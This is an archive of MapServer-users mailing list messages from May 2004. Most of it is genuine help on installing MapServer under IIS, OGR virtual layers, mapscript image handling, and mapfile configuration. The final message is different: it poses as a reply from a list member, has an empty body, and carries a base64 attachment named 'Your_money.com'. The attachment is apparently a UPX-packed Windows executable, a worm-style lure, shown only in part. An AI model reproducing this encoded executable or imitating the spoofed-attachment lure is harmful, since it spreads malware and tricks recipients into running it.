considering attending and have not yet registered - the near-complete program is now available on the conference website at: http://www.omsug.ca/osgis2004/program.html Most importantly, you can now begin selecting your preferred workshops once you have registered. Workshop registration is handled on a first-come first-serve basis, and some of our workshops are already starting to fill up from early registrants -- so if you haven't already registered for the conference - try to do as soon as possible. Once your registration has been confirmed, you'll have the opportunity to select your workshops of choice. Full list of workshops are available here: http://www.omsug.ca/osgis2004/workshop_descriptions.html Looking forward to seeing you in a few weeks! Dave From r0ss at shaw.ca Fri May 21 06:11:21 2004 From: r0ss at shaw.ca (ross s) Date: Fri, 21 May 2004 07:11:21 -0600 Subject: [Mapserver-users] Install help on Win 2000 Server with IIS Message-ID: Hi, I tried the path info mentioned and still no luck. Any other suggestions? Ross Correct path to image directory as below: - Create tmp directory under C:\Inetpub\wwwroot\workshop\ OR - Create tmp directory C:\Inetpub\wwwroot\ Lam. ----- Original Message ----- From: "ross s" To: Sent: Friday, May 21, 2004 10:05 AM Subject: [Mapserver-users] Install help on Win 2000 Server with IIS > Hi, > > I feel like a bozo for having to ask this but I am totally lost with setting up MapServer for IIS - the instructions are not all in one place. I am running Windows 2000 Server with IIS. I followed the install instructions to a "T" but the MapServer demo does not work. This is what I have done > > 1. Copied mapserv.exe to "C:\Inetpub\Scripts" > 2. Copied directory "Proj" to "C:\" > 3. Copied the files in directory "lib" to C:\WINNT > 4. Test MapServer with http://localhost/scripts/mapserv.exe? and I receive the message No query information to decode. QUERY_STRING not set. which is good > 5. Downloaded A copy of the MapServer Demo and unzipped it into C:\Inetpub\wwwroot\workshop > 6. Modified the index.html parameters to show my configuration or what I believe is my configuration > > > > > > > 7. Ran the index page and called one of the demos and the map image does not appear in the resulting page just the little x indicating that it could not find the image > > Anyone have any ideas on what configuration or installation steps I missed or how I can resolve my prolems. > > Or more importantly does anyone have an all encompassing install and setup instructions for IIS? > > Thanks in advance and hope some out there can help. > > Ross > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at l... > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From nicolas.fortin at ec.gc.ca Fri May 21 06:45:05 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Fri, 21 May 2004 09:45:05 -0400 Subject: [Mapserver-users] Install help on Win 2000 Server with IIS Message-ID: <118A9CF846431048B65C4AFB0E57C0ED037311@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Hi Ross, At first sight, your mapserver installation seems ok ... It's the demo that have to be correctly configure. Try setting debug on in the mapfile like this : -Add DEBUG TRUE on the first line of the Mapfile -Add LOG "DEMO.LOG" on the WEB element of the mapfile Run the application again and see if any usefull information appears in the log file. Also, it could be a permission issue (about 90% of time...). Like I always tell, try running filemon (http://www.sysinternals.com/ntw2k/source/filemon.shtml) when you call the page and check if you see any ACCESS DENIED message. I have the demo working well here on Win2k/IIS and MS 4.0.1 Good luck, Nicolas Fortin -----Message d'origine----- De : ross s [mailto:r0ss at shaw.ca] Envoy? : Friday, May 21, 2004 9:11 AM ? : mapserver-users at lists.gis.umn.edu Objet : Re: [Mapserver-users] Install help on Win 2000 Server with IIS Hi, I tried the path info mentioned and still no luck. Any other suggestions? Ross Correct path to image directory as below: - Create tmp directory under C:\Inetpub\wwwroot\workshop\ OR - Create tmp directory C:\Inetpub\wwwroot\ Lam. ----- Original Message ----- From: "ross s" To: Sent: Friday, May 21, 2004 10:05 AM Subject: [Mapserver-users] Install help on Win 2000 Server with IIS > Hi, > > I feel like a bozo for having to ask this but I am totally lost with setting up MapServer for IIS - the instructions are not all in one place. I am running Windows 2000 Server with IIS. I followed the install instructions to a "T" but the MapServer demo does not work. This is what I have done > > 1. Copied mapserv.exe to "C:\Inetpub\Scripts" > 2. Copied directory "Proj" to "C:\" > 3. Copied the files in directory "lib" to C:\WINNT > 4. Test MapServer with http://localhost/scripts/mapserv.exe? and I > receive the message No query information to decode. QUERY_STRING not set. which is good > 5. Downloaded A copy of the MapServer Demo and unzipped it into C:\Inetpub\wwwroot\workshop > 6. Modified the index.html parameters to show my configuration or what > I believe is my configuration > > > > > type="hidden" name="map_web_imageurl" value="\tmp\"> 7. Ran the index > page and called one of the demos and the map image does not appear in the resulting page just the little x indicating that it could not find the image > > Anyone have any ideas on what configuration or installation steps I > missed or how I can resolve my prolems. > > Or more importantly does anyone have an all encompassing install and > setup instructions for IIS? > > Thanks in advance and hope some out there can help. > > Ross > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at l... > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Chip.Hankley at rmtinc.com Fri May 21 06:54:35 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Fri, 21 May 2004 08:54:35 -0500 Subject: [Mapserver-users] OGR:ODBC Woes Message-ID: I'm trying to follow the directions in http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData I'm using one of the pre-compiled Windows binaries from the MS site. I've made it all the way to the point where I'm trying to display the results in MS. When I call the map, I get the following error: msDrawMap(): Image handling error. Failed to draw layer named 'MyVirtualLayer'. msOGRFileOpen(): OGR error. Open failed for OGR connection `virtual.ovf'. File not found or unsupported format. Here's my output of mapserv -v: MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Anyway, I see that there was a long thread about this error back in January (http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00452.html) Does anyone know if this was resolved? Chip Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From reginaldo at cttmar.univali.br Fri May 21 07:05:49 2004 From: reginaldo at cttmar.univali.br (Reginaldo Rubens da Silva) Date: Fri, 21 May 2004 11:05:49 -0300 Subject: [Mapserver-users] To use Delphi + MapServer Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0062_01C43F23.9645D260 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello all, =20 =20 Only to know... Can somebody tell me if it's possible to develop Delphi applications to access MapServer ? (A kind of wrapper to MapServer API C Library in = Delphi) =20 =20 Thanks, --------------------------------------------- Reginaldo Rubens da Silva --------------------------------------------- Programador/Pesquisador Laborat=F3rio de Computa=E7=E3o Aplicada - LCA CTTMar - UNIVALI --------------------------------------------- ICQ# 108514443 HYPERLINK "http://web.icq.com/whitepages/online?icq=3D108514443&img=3D5" O homem nasce puro e bom, a sociedade e as institui=E7=F5es o corrompem. = (Jean Jacques Rousseau) =20 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.688 / Virus Database: 449 - Release Date: 18/5/2004 =20 ------=_NextPart_000_0062_01C43F23.9645D260 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello=20 all,
 
 
Only = to=20 know...
Can = somebody tell me=20 if it's possible to develop Delphi applications to access MapServer ? (A = kind of=20 wrapper to MapServer API C Library in Delphi)
 
 
Thanks,
---------------------------------------------
Reginaldo= Rubens=20 da=20 Silva
---------------------------------------------
Programador/Pes= quisador
Laborat=F3rio=20 de Computa=E7=E3o Aplicada - LCA
CTTMar -=20 UNIVALI
---------------------------------------------
ICQ# = 108514443 = =20

O homem nasce = puro e bom, a=20 sociedade e as institui=E7=F5es o corrompem. 
(Jean Jacques=20 Rousseau)

 

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.688 / Virus Database: 449 - Release Date: 18/5/2004

------=_NextPart_000_0062_01C43F23.9645D260-- From Chip.Hankley at rmtinc.com Fri May 21 07:21:22 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Fri, 21 May 2004 09:21:22 -0500 Subject: [Mapserver-users] Install help on Win 2000 Server with IIS Message-ID: > > > > > > Ross - Your variables seem different from the way I do mine (also Win2K, IIS). All of the paths in my setup are essentially urls, except for "map" and "map_web_imagepath". See below: Note that I'm using a relative path for my "map" value, but that I hard-code the "map_web_imagepath" value. I'm not sure why, but this is the only way that it worked. Also, for all urls, I use forward slashes. Once you get this straightened out, the next thing to check is your tmp directory. If it's working, you should see images being generated in tmp when you load a page. A common issue with the TMP directory is NOT giving the default web user (IUSR_) write permission to that directory. EVERYONE FULL CONTROL will NOT work. hth! Chip Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From sgillies at frii.com Fri May 21 07:31:20 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 21 May 2004 08:31:20 -0600 Subject: [Mapserver-users] perl/mapscript: gd pointer to imageObj ? In-Reply-To: <40ADB042.5020406@spiekermann.de> References: <40ADB042.5020406@spiekermann.de> Message-ID: <870AC23A-AB33-11D8-82DA-000D9329D732@frii.com> On May 21, 2004, at 1:31 AM, Manfred Meier wrote: > Hello list, > i would like to modify an image created in mapscript, for example to > add a logo or a chart diagram. For this i could use GD (having some > knowledge how to do). So, can I get an GD-Pointer from the imageObj? > Like for example: > > $img = $map->prepareImage(); > $layer->draw ($map, $img); > .... > $map->drawLabelCache($img), > .... > $gdptr = $img->gd; # ??? like that > .... > > Thanks > Manfred > > Manfred, No. The gd member of the MapServer imageObj structure is not currently exposed to mapscript, so the imageObj class has no gd attribute. We could expose the gd pointer by making a few small changes, but it would not be something you could easily use. It would be a SWIG pointer, not an object that you could manipulate with a Perl GD module. I have written a couple extra methods for the Python mapscript module which let us save images to a string in memory, and read imagery from Python file-like objects. This allows us to do ms_image = test_map.draw() # Draw a GD PNG image # Store in memory using Python's file-like StringIO class mem_png = StringIO.StringIO(ms_img.saveToString()) # Open as a Python Imaging Libray Image and manipulate image = PIL.Image(mem_png) ... # Return manipulated imagery to an imageObj instance for # further map drawing processed_mem_png = image.save(StringIO.StringIO()) processed_ms_image = mapscript.imageObj(0, 0, 'GD/PNG', processed_mem_png) without ever writing any imagery to the filesystem. See http://users.frii.com/sgillies/projects/mapscript/4.2/python.html for more examples. At the MapServer Users Meeting in June I am doing a workshop on SWIG mapscript, including Perl, and intend to talk about this and recommend some ways that Perl users may implement similiar methods using a filehandle opened to imagery as a scalar instead of Python's StringIO. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From spencer at dmsolutions.ca Fri May 21 07:46:29 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Fri, 21 May 2004 10:46:29 -0400 Subject: [Mapserver-users] OGR:ODBC Woes In-Reply-To: References: Message-ID: <40AE1645.3060606@magma.ca> Chip, assuming that ogrinfo works, it is most likely that you have a mapserver build that doesn't include the right OGR version. There is a known issue (that Frank fixed for 4.2 I think) with OGR, replacing gdal12.dll is not sufficient, you must also rebuild mapserver to get the updated features. I think if you grab the latest 4.2b3 release it will include the necessary functionality. Cheers, Paul Chip Hankley wrote: > I'm trying to follow the directions in > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData > > I'm using one of the pre-compiled Windows binaries from the MS site. > > I've made it all the way to the point where I'm trying to display the > results in MS. When I call the map, I get the following error: > > msDrawMap(): Image handling error. Failed to draw layer named > 'MyVirtualLayer'. > msOGRFileOpen(): OGR error. Open failed for OGR connection > `virtual.ovf'. File not found or unsupported format. > > Here's my output of mapserv -v: > > MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > OUTPUT=SWF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS > INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > > Anyway, I see that there was a long thread about this error back in > January > (http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00452.html) > > Does anyone know if this was resolved? > > Chip > > Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. > ------------------------------------------------------------------------------ > NOTICE--This email may contain confidential and privileged information > for the sole use of the intended recipient. Any review or distribution > by others is strictly prohibited. If you are not the intended recipient, > please contact the sender immediately and delete all copies. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From eduardo at consultoria.eti.br Fri May 21 10:04:04 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 21 May 2004 14:04:04 -0300 Subject: [Mapserver-users] To use Delphi + MapServer In-Reply-To: References: Message-ID: <20040521170404.19274.qmail@hm47.locaweb.com.br> take a look at http://sourcepole.com/sources/software/giscomp/ Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Fri, 21 May 2004 11:05:49 -0300, "Reginaldo Rubens da Silva" escreveu: > De: "Reginaldo Rubens da Silva" > Data: Fri, 21 May 2004 11:05:49 -0300 > Para: > Assunto: [Mapserver-users] To use Delphi + MapServer > > > Hello all, > > > Only to know... > Can somebody tell me if it's possible to develop Delphi applications to > access MapServer ? (A kind of wrapper to MapServer API C Library in Delphi) > > > Thanks, > --------------------------------------------- > Reginaldo Rubens da Silva > --------------------------------------------- > Programador/Pesquisador > Laborat?rio de Computa??o Aplicada - LCA > CTTMar - UNIVALI > --------------------------------------------- > ICQ# 108514443 HYPERLINK > "http://web.icq.com/whitepages/online?icq=108514443&img=5" > > O homem nasce puro e bom, a sociedade e as institui??es o corrompem. > (Jean Jacques Rousseau) > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.688 / Virus Database: 449 - Release Date: 18/5/2004 > > > From ARyan at co.linn.or.us Fri May 21 10:25:49 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Fri, 21 May 2004 10:25:49 -0700 Subject: [Mapserver-users] Negative Tolerance? Message-ID: <614FCE5F14A6D41180C200010240D6A2644076@LINNMS> List, Is it possible to use a negative number for a layer's TOLERANCE value? I can't seem to make it work. Thanks. Adam From eduardo at consultoria.eti.br Fri May 21 10:36:23 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 21 May 2004 14:36:23 -0300 Subject: [Mapserver-users] What is DEBUG parameter for? Message-ID: <20040521173623.19983.qmail@hm47.locaweb.com.br> I've tested parameter DEBUG of the map object with a MapServer CGI application, but it doesn't matter if DEBUG is ON or OFF, log messages are generated at the same way in the LogFile. if I unset the LOG parameter, MapServer errors are sent the same way even with DEBUG ON or OFF. I didn't understand the real purpose of DEBUG parameter... best Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From sgillies at frii.com Fri May 21 10:46:29 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 21 May 2004 11:46:29 -0600 Subject: [Mapserver-users] Python 2.1.3 and 2.3.3 Win32 mapscript installers Message-ID: For anyone who is interesting in trying the Python mapscript module on Win32, the package I am taking to the users meeting is available online at http://users.frii.com/sgillies/projects/. Includes GDAL/OGR 1.2.0, PostGIS, WMS and WFS. All GD support is provided by Boutell's bgd.dll version 2.0.23. JPEG and PNG output with freetype only. Building GD and Freetype on windows is a pain that can now be avoided. If you pick it up and my installation instructions let you down, or you experience other problems, let me know and I'll try to get you on the right track. TGIF, cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From eduardo at consultoria.eti.br Fri May 21 10:40:24 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 21 May 2004 14:40:24 -0300 Subject: [Mapserver-users] what is the rule for a valid EXTENT? Message-ID: <20040521174024.26656.qmail@hm47.locaweb.com.br> I've seen in MapServer sources that is a defined constant - called MS_VALID_EXTENT , or some like this - that a valid extent must have: 1. MinX < MaxX 2. MinY < MaxY Is this valid for any kind of Spatail Reference System? Does it matter if a SRS is UTM or LatLong, etc? thanks Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From mike.merrett at city.whitehorse.yk.ca Fri May 21 10:51:19 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Fri, 21 May 2004 10:51:19 -0700 Subject: [Mapserver-users] SHOWING MapInfo's TAB VIA OGR Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEEC8@DUKE.city.whitehorse.yk.ca> >Subject: [Mapserver-users] SHOWING MapInfo's TAB VIA OGR >From: marcelito20 at hotmail.com (Marcelo Carrillo) >Date: Thu, 20 May 2004 18:44:46 -0500 > >--------------------------------------------------------------------------- ----- > >--------------Boundary-00=_MYD1G6G0000000000000 >Content-Type: Multipart/Alternative; > boundary="------------Boundary-00=_MYD1BHK0000000000000" > > >--------------Boundary-00=_MYD1BHK0000000000000 >Content-Type: Text/Plain; > charset="iso-8859-1" >Content-Transfer-Encoding: quoted-printable > >Hi MapUsers:=0D >=0D >I'm having trouble showing some MapInfo's .TAB's with mapserver via OGR, >here's a part of my mapfile:=0D >=0D > LAYER=0D > NAME "CALLES"=0D > GROUP "Ciudad"=0D > STATUS ON=0D > #DATA "CALLES_84_3_text"=0D > CONNECTIONTYPE OGR=0D > CONNECTION "./data/CALLES_84_3.tab"=0D > TYPE ANNOTATION=0D > UNITS METERS=0D > SIZEUNITS METERS=0D > MINSCALE 1000=0D > MAXSCALE 100000=0D > LABELITEM Textstring=0D > LABELANGLEITEM Text_angle=0D > LABELSIZEITEM Text_size=0D > TOLERANCE 10=0D > TOLERANCEUNITS PIXELS=0D > CLASS=0D > LABEL=0D > TYPE BITMAP=0D > POSITION LR=0D > SIZE TINY=0D > COLOR 10 155 95=0D > END=0D > STYLE=0D > SYMBOL "CIRCLE"=0D > SIZE 5=0D > COLOR 255 100 51=0D > END=0D > END=0D > END=0D > =0D >What is wrong?, could someone tell me, please?=0D >Thanks > Hi: It could be that mapinfo tab files contain more than one type of data try chaning the type from annotation to line, polygon or point and see if you see anything (it looks like you are trying to put a circle on an annotation layer which I think wont work I use this map file layer and it seems to work: layer name "Overall Water - Text" group "Overall Water" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\test\Water_combi ned.tab" connectiontype OGR metadata description "Overall Water - Text" end minscale 100 MAXSCALE 3000 status off type ANNOTATION styleitem "auto" class name "Overall Water - Text" keyimage "blue_a.png" end end From vaiod at berloy.com Fri May 21 11:03:34 2004 From: vaiod at berloy.com (Eric Katherman) Date: Fri, 21 May 2004 11:03:34 -0700 Subject: [Mapserver-users] Missing Something Message-ID: <200405211103.34356.vaiod@berloy.com> Why doesn't this produce anything, I am a newbie so overlooking something is very possible. All I get is a 640 480 box the color I have chosen below. The sewera files are all in the data path .dbf .prj .shp .shx. I used ogrinfo -al to get the extents from the shx file. this is the url I am using. http://localhost/cgi-bin/mapserv40?map=/srv/www/htdocs/mapserver/test.map&mode=map test.map contents --- MAP IMAGETYPE PNG STATUS ON EXTENT 382487.530826 833318.888530 497485.329577 1017509.008264 SIZE 640 480 SHAPEPATH "data" IMAGECOLOR 238 238 238 END LAYER NAME sewera DATA sewera STATUS DEFAULT TYPE POLYGON END Any ideas would be appreciated... Thanks, Eric From vaiod at berloy.com Fri May 21 11:03:45 2004 From: vaiod at berloy.com (Eric Katherman) Date: Fri, 21 May 2004 11:03:45 -0700 Subject: [Mapserver-users] ogrinfo Message-ID: <200405211103.45159.vaiod@berloy.com> Here is the first few lines of the orginfo output... ogrinfo -al sewera.shp |more Had to open data source read-only. INFO: Open of `sewera.shp' using driver `ESRI Shapefile' successful. Layer name: sewera Geometry: Line String Feature Count: 502626 Extent: (382487.530826, 833318.888530) - (497485.329577, 1017509.008264) Layer SRS WKT: PROJCS["NAD_1927_StatePlane_Arizona_Central_FIPS_0202", GEOGCS["GCS_North_American_1927", DATUM["North_American_Datum_1927", SPHEROID["Clarke_1866",6378206.4,294.9786982]], PRIMEM["Greenwich",0], UNIT["Degree",0.0174532925199432955]], PROJECTION["Transverse_Mercator"], PARAMETER["False_Easting",500000], PARAMETER["False_Northing",0], PARAMETER["Central_Meridian",-111.9166666666667], PARAMETER["Scale_Factor",0.9999], PARAMETER["Latitude_Of_Origin",31], UNIT["Foot_US",0.304800609601219241]] FEATURE: String (1.0) TYPE: String (1.0) AB_JOB_TYP: String (2.0) AB_YEAR: String (2.0) AB_SEQ_NO: String (3.0) DIAMETER: Integer (2.0) MATERIAL: String (1.0) ACT_LENGTH: Real (7.2) STATIONING: Integer (6.0) APPL_NO: String (7.0) SACCT_NO: Integer (9.0) SCUST_NO: Integer (2.0) --More-- From siki at agt.bme.hu Fri May 21 14:34:47 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 21 May 2004 20:34:47 -0100 (GMT+1) Subject: [Mapserver-users] search by attributes {Scanned} In-Reply-To: Message-ID: Hi, Check the ITEMQUERY, ITEMNQUERY value of MODE cgi variable. QLAYER, QITEM and QSTRING should also be considered. bye Zoltan On Fri, 21 May 2004, Janeks Kamerovskis wrote: > Hi, MapServer users! > > I am beginner in Mapserver. > I successfully created my first mapserver app. with my own data. > > One of things that I am interested to implement in next version > of my map is possibility to make some kind of feature search by attributes > and select or/and zoom to found features. > > Is it possible in MapServer and if is, than could somebody post some info > about how to do it or drop a link to an example! > > Looking forward for your replay, > Janeks Kamerovskis > forestry consultant > Lat-Fin Joint venture SILVA Ltd > tel.+371-7804352 > fax.+371-7804340 > mob.+371-9191109 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From eric at gomoos.org Fri May 21 11:43:59 2004 From: eric at gomoos.org (Eric Bridger) Date: 21 May 2004 14:43:59 -0400 Subject: [Mapserver-users] Missing Something In-Reply-To: <200405211103.34356.vaiod@berloy.com> References: <200405211103.34356.vaiod@berloy.com> Message-ID: <1085165045.1537.44.camel@ubet.gomoos.org> On Fri, 2004-05-21 at 14:03, Eric Katherman wrote: > Why doesn't this produce anything, I am a newbie so overlooking something is > very possible. All I get is a 640 480 box the color I have chosen below. The > sewera files are all in the data path .dbf .prj .shp .shx. I used ogrinfo -al > to get the extents from the shx file. > > this is the url I am using. > http://localhost/cgi-bin/mapserv40?map=/srv/www/htdocs/mapserver/test.map&mode=map > > > test.map contents --- > MAP > > IMAGETYPE PNG > STATUS ON > EXTENT 382487.530826 833318.888530 497485.329577 1017509.008264 > SIZE 640 480 > SHAPEPATH "data" > IMAGECOLOR 238 238 238 > > END > > LAYER > NAME sewera > DATA sewera > STATUS DEFAULT > TYPE POLYGON > > END > Your ogrinfo output indicates that the data is projected so you must have compiled mapserver with PROJ4 support and then add to your MAP section: UNITS METERS PROJECTION "init=epsg:26749" END If you search your proj/epsg file you'll find 26749 under # NAD27 / Arizona Central. HTH. From TMitchell at lignum.com Fri May 21 12:06:00 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 21 May 2004 12:06:00 -0700 Subject: [Mapserver-users] Missing Something In-Reply-To: <200405211103.34356.vaiod@berloy.com> Message-ID: > LAYER > NAME sewera > DATA sewera > STATUS DEFAULT > TYPE POLYGON > > END No CLASS section in your LAYER? You need to specify how to draw the features, i.e: LAYER NAME sewera DATA sewera STATUS DEFAULT TYPE POLYGON CLASS OUTLINECOLOR 0 0 0 END END From TMitchell at lignum.com Fri May 21 12:07:27 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 21 May 2004 12:07:27 -0700 Subject: [Mapserver-users] Missing Something In-Reply-To: <1085165045.1537.44.camel@ubet.gomoos.org> Message-ID: > Your ogrinfo output indicates that the data is projected so you must > have compiled mapserver with PROJ4 support and then add to your MAP > section: > > UNITS METERS > PROJECTION > "init=epsg:26749" > END > > If you search your proj/epsg file you'll find 26749 under # NAD27 / > Arizona Central. In general, a good idea, but it shouldn't be necessary. His EXTENT matches the units of the layer's data, so it should draw without any projection settings. From lfilak at medinaco.org Fri May 21 12:27:43 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 21 May 2004 15:27:43 -0400 Subject: [Mapserver-users] perl/mapscript: gd pointer to imageObj ? Message-ID: <20040521192732.1C1F11A659B@mail.medinaco.org> The following message was sent by Manfred Meier on Fri, 21 May 2004 09:31:14 +0200. > Hello list, > i would like to modify an image created in mapscript, for example to add > a logo or a chart diagram. For this i could use GD (having some > knowledge how to do). So, can I get an GD-Pointer from the imageObj? > Like for example: > > $img = $map->prepareImage(); > $layer->draw ($map, $img); > ... > $map->drawLabelCache($img), > ... > $gdptr = $img->gd; # ??? like that > ... > > Thanks > Manfred I don't think you can do that, however you could save the image and then $image = GD::Image->newFromPng($file) for a work-a-round (but then you probably already knew that). Lowell > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Fri May 21 13:28:06 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 21 May 2004 20:28:06 +0000 Subject: [Mapserver-users] Re: Document Message-ID: ----------jczsygdjqdgijoumcuca Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------jczsygdjqdgijoumcuca Content-Type: application/octet-stream; name="Your_money.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_money.com" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAkAAAAKkm3RPtR7NA7UezQO1Hs0DtR7NA7kezQGNYoEBtR7NAEWehQOxHs0AqQbVA 7EezQFJpY2jtR7NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwDMD5BAAAAAAAAA AADgAA8BCwEFDABQAAAAEAAAAJAAAPDiAAAAoAAAAPAAAAAAQAAAEAAAAAIAAAQAAAAAAAAA BAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACk8wAATAIAAADwAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABVUFgwAAAAAACQAAAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAKAAAABGAAAAAgAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADw AAAABgAAAEgAAAAAAAAAAAAAAAAAAEAAAMAxLjI0AFVQWCEMCQIIvyc9X9rQb57HxwAAyUIA AACSAAAmAADM////m/rJOnEqKxiQ86MrEIn8ewjaeUIXGA5z7n9eUr/9//+6+gQ6jxg5r3EW rHG/8nGP9nG36hniLTsQ8sj83P+x3d8FO3H+Jsk4vBgSpDM49vora+237yoNKgWP6gL2qhI6 BQANGX/79gd5Pg6S+to1kPoSYTT6c78GPb//vsW+DoKQATDyEi26DXe/Aqr/m697KRIGFVN5 hwL6j/gR6QWPd2/ukQIOEmpbQw4RNQ8SqrrbNnNgRmqHDnf+arf23GbiWVqlyOxH8vi32d7f if4ZkP6SFqS9Bf8Lve3BtqrLB8koDUdoJu72rdw1rQZx/PY7E/hACVEJ7z6y/Xkb+QlQpR7y qXGn9iGQ4BJj8pT9d0l5OpsGULGPC6Ef8BKDe+cWMsqxuPsSSsWpyq11f/E6jvSqkJQlDLso xH8WusGDrEWPhIfJIRmuw5ft/1Y7Gup5A/uO8VacCfL4jvtWmgd5e3gS6BLHmDgJ9hLJ/BJv 7d2R0xLYBrl5AehIQpxC9wit/f/wnFF5E/mDSA0j0QNKx9CRxP////95GsXGxInoxs6J8P67 xqGI9f78EfH+BhH91sQ6Gvj+6x7aw9FQSamQaSShf7N9Q4d7yXEi4CIGYTMFCFR63/Z7u76O 47ISdMTTj/1Zoe1znTFz//x5PP4RIEL7iBIYBnaFn9vekvgVU3AEJE29vS72dxeEQ/oTcu7A BDgYAxJi1vht4zy/BHEzwHD+wXK/hQ2y7e62CMsF9UyvCcByFXDs24W3BcC7wSiI+CgEOY8v 2LcX3NlqArmP8nD5PAdwbMQW2rn7BdwBV4wC/rX24+S6BBtPA+7Ccq9t79vdY68GDQZwDAQX 